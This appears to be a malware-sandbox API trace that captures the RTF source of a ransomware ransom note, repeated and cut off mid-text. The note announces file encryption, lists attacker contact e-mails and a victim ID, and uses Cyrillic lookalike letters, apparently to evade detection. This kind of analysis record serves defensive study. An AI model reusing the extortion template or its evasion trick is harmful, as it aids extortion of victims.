(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d 